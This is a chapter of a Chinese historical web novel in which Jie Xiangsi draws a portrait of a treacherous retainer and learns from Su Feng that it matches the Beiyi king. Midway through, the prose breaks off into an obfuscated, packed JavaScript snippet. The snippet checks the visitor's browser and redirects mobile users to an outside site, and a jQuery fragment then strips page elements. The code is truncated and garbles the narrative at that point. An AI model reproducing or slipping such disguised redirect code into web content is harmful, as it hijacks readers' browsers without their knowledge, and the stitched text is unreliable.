这么想,解相思豁然开朗。将那本《北夷风俗录》放到一边,从一旁取了张宣纸就开始画起来。
柔软的羊毫落在薄薄的宣纸上,缓缓划动,留下一道又一道包含万千想法的墨痕。
解相思画得很认真,虽说贺云是她的心腹,和他相处的时间也很长,可真要细细去想他那张脸时,却总像是蒙着一层雾,看似很清晰,实则不清晰,越是去想,记忆里的面容也就越是扭曲。
以至于她落笔时,总带着一股不确定。
清风渐起,窗外的苦楝花枝叶跟着微微摇晃,晃呀晃,晃呀晃,那紧闭的花苞也就渐渐绽放开了……
微风卷着苦楝花的清香飘进藏书阁,掠过窗边女子鬓角的碎发,拂过她紧蹙的眉心,伴随着淡淡清香,解相思眉宇间的肃色散去。
“啪嗒”一声。
她放下了笔。
看着桌面上画完的肖像,解相思长呼一口气,眼里泛起几分轻松欢愉。
两天一夜,终于画完了。
举起肖像画,任由从窗外跃进来的浅色金光将这张薄薄是宣纸照得微透。
日影斑驳,微风吹动,宣纸上的人五官硬朗,此刻正静静敛目,一副安静至极的模样,任谁来看,都不会觉得此人能做出叛主之事。
想到这,解相思微怔,落在宣纸边缘的手指无意识的攥紧,将那边角攥得微皱。
可偏偏,他就是做了叛主之事,让她成为了孤魂野鬼……
窗外的苦楝花蓦地摇动得厉害,骤然变大的风将花香冲散,直直扑向那敞开的雕花窗子。
薄薄的宣纸经受不住这般猛烈的风,在解相思手中扬起又落下,不断发出“哗啦哗啦”的声响。
“啪”的一声。
在空中掀动的宣纸被人放下,一方镇纸落在了画中人的双眼上,将那欺人的眼眸遮去,随后,那翻动声也停了。
默默看了看案桌上被压好的宣纸,解相思静了一瞬,随后头也不回的开口唤道:“季风。”
“表小姐。”
一道暗影悄无声息的出现在解相思身前。
解相思抬眸,只见身前的季风一袭黑衣,面容无比严肃,像是随时听候她的命令。
蓦地,解相思笑了,朝季风道:“麻烦季大哥帮我约一下苏昀云苏大人,我有事找他。”顿了顿,她又补充道:“顺便,再帮我拓印几份此肖像,另,交一幅给表哥。”
虽然不懂解相思为什么这么吩咐,但季风还是抱拳应道:“是!”
……
苏府,苏豊的院子。
“见我?”
季风到的时候,苏豊正在擦拭手中的玉骨扇,听明来意,略微惊讶。
“她是遇到什么难事了吗?”
季风摇摇头,“不知。”顿了顿,他补充道:“表小姐让我还转告您,此事可能涉及大昭社稷,望苏公子您一定要见她。”
“这倒是奇怪。”将最后一根扇柄擦拭干净,苏豊试着扇了两下,一双桃花眼弯弯,“行,回去告诉策安表妹,明日卯时三刻,金玉楼二楼雅间,不见不散。”
“是。”
……
翌日卯时。
清晨的云雾很是稀薄,空气中还泛着夜里的水汽,有些潮湿和寒凉。
浅浅的金光斜撒在行人的身上,将他们身上的晨露渐渐蒸发,透过流转的金辉,隐隐可见其中飘浮的细小碎尘。
早晨的长安街格外热闹,街道两旁的商贩们早已支好了摊子,正热火朝天的向路过的人们吆喝着自己的东西。
“来看看!来看看!新鲜出炉的热包子,个个皮薄馅多,好吃的嘞!”
“诶!车来了!让一让!让一让!”
“啪嗒啪嗒——”
“叮——叮——”
吆喝声,马蹄声,敲击声,车轮滚动的辘辘声混杂在一起,昭示着新的一天的到来。
解相思赶到金玉楼时,苏豊早已在那雅间里等着了,此刻正倚着窗看风景。
相比于往常一身冷硬冑甲,今日苏豊打扮得格外书生气,穿了一身飘逸白袍,满头墨发以一根浅白发带半束着,另簪了一根莹润的白玉簪,整个人看起来格外俊雅,点点金辉落在他身上,无端将他的轮廓映衬的更加柔和。
任谁见了,都要赞叹一句——“好一个翩翩公子。”
解相思推门而入的声音不算轻,却也不算重,足以让窗边的人感受到她的到来。
听到动静,苏豊放下递到唇边的热茶,一双桃花眼恰到好处的微微掀起,天生向上微扬的嘴角,让人觉得他时时刻刻都在笑,天生就是一张笑脸,让人如沐春风。
除了……那张破坏氛围的嘴。
只见苏大人扬眉一笑,潇洒道:“表妹约在下所为何事啊,策安知道吗?我怕他误会,毕竟,我苏豊好歹也是一表人才,京城内数一数二的翩翩贵公子。”
一开口就是一副风流浪荡子的语气,翩翩公子的良好印象当即碎了一地。
解相思:“……”不愧是京城第一男妖精,说出来的话这么令人遐想。
在暗处充当影卫的季风:“……”苏公子真是……太自恋了。唉……
怕苏豊再说什么不正经的话,季风从房梁上跳下站定,冲苏豊一抱拳,认真道:“苏公子放心,此事,我家大人是知道的,苏公子不必多心。”
“噗嗤——”
被两人的反应逗笑,苏豊忍不住笑了笑,终于在他们身上找回了一丝,在周玉夷那里屡战屡败的,京城第一男妖精的成就感。
只是几瞬,苏豊收了笑,正了正神色,又理了理衣袍,而后站起身,语气也变得正常起来:“好了,不逗你们了,策安交代过我要照顾好表妹,最近有点闷烦,开个玩笑,不好意思啊。”
说罢,他朝解相思夸张的行了一礼,笑道:“我苏昀云在此,问表妹安啦。”
解相思笑了笑,随之回了一礼:“相思也问苏大人安。”
……
合了窗子,将那金灿灿的阳光和充满生活气息的混杂声统统隔绝在雅间外。
两人在长凳上相对而坐,苏豊拎起一旁的茶壶,很是绅士的给解相思倒了一杯茶。白雾似的热气在空中打着卷的散开,朦胧了两人的视线。
一室清雅,一室茶香。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370835|179637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
将茶盏推过去,苏豊向后微微撤了撤,将两人的距离拉开,问道:“还是那个问题,表妹找我,到底所为何事,是遇到什么麻烦了吗?”
毕竟,小事用不着他苏豊来管,解相思可以自行解决,大事自有策安来管,所以,解相思为什么找他呢?
“确实有一桩事,需要苏大人替相思解解惑。”解相思一边说着,一边从袖间取出一张折好的宣纸,展开推了过去,说道:“听闻苏大人曾作为使者前往过北夷,相思想问问,苏大人可曾见过这样一张脸?”
“哦?我看看。”
苏豊接过宣纸,微垂长睫,目光落在画中人的脸上,渐渐的,面上轻松的神情敛了下去,他微微上扬的嘴角扯得平直,面上转而浮现出一丝凝重。
见他如此,对面的解相思和季风也不自觉的跟着放轻了呼吸声。
一时间,雅间内充斥着诡异的安静。飘在空中的热气渐渐散去,苏豊紧蹙的眉心直直映入解相思的眼底。
半晌,苏豊放下宣纸,眉宇之间漫上一层阴郁。
“如何?”
见状,解相思忍不住倾身向前,语气中带着些焦急。
“苏大人可曾见过?”
“见过。”苏豊抬起眼帘。
“是谁?”
“北夷王,鹤云凛。”
“……”
没想到贺云真的是北夷王族,还是北夷王的双生子,解相思一时间有些愣神。心中的猜想被证实,可她的心中却燃不起一丝欢喜。
若贺云是北夷王的同胞弟弟,那北夷王有怎么会信任他呢?毕竟,双生子向来一强一弱,一死一生,两者可以说是不死不休的关系。
《北夷风俗录》里亦曾说过:“凡遇未死双生弃婴,天神必然震怒,恐引神罚加身,因而,遇之,则必杀之!”
贺云当真敢顶着和北夷王同样的一张脸出现在北夷部落吗?
到底是跟了她多年,解相思觉得他是没有这个胆子的。所以,到底是为什呢?贺云是怎么被周瑜垵接纳的呢?
“表妹?”
身前忽然传来苏豊的声音,解相思从沉思中回过神,朦胧的视野逐渐清晰,对上一双带着担忧的湛深眸子。
苏豊面朝她,眉心还微微蹙着,见她对上焦,这才开口道:“表妹,你刚刚……”是走神了吗?
不过苏豊没有说全,到底是要给女孩子留些面子的。
闻言,解相思眨了眨眼,面上飞快地划过一丝尴尬,出声道:“抱歉,我刚刚在想事情,有些走神。”顿了顿,她道:“苏大人是有问题想要问我吗?”
“对。”见她真的没事,苏豊点点头,继续道:“我想问冒昧的问一下,表妹是曾经见过北夷王吗?”
不然,她怎么会有鹤云凛的画像?
听他这样问,解相思诚实地摇了摇头:“未曾。”
苏豊眼底划过一丝疑惑。没见过?那这幅画像要怎么解释?
正想着,只听解相思的声音再次传来。
“这幅画像画的,不是北夷王鹤云凛,而是我曾在儋州遇见过的一个人,名唤‘贺云’。”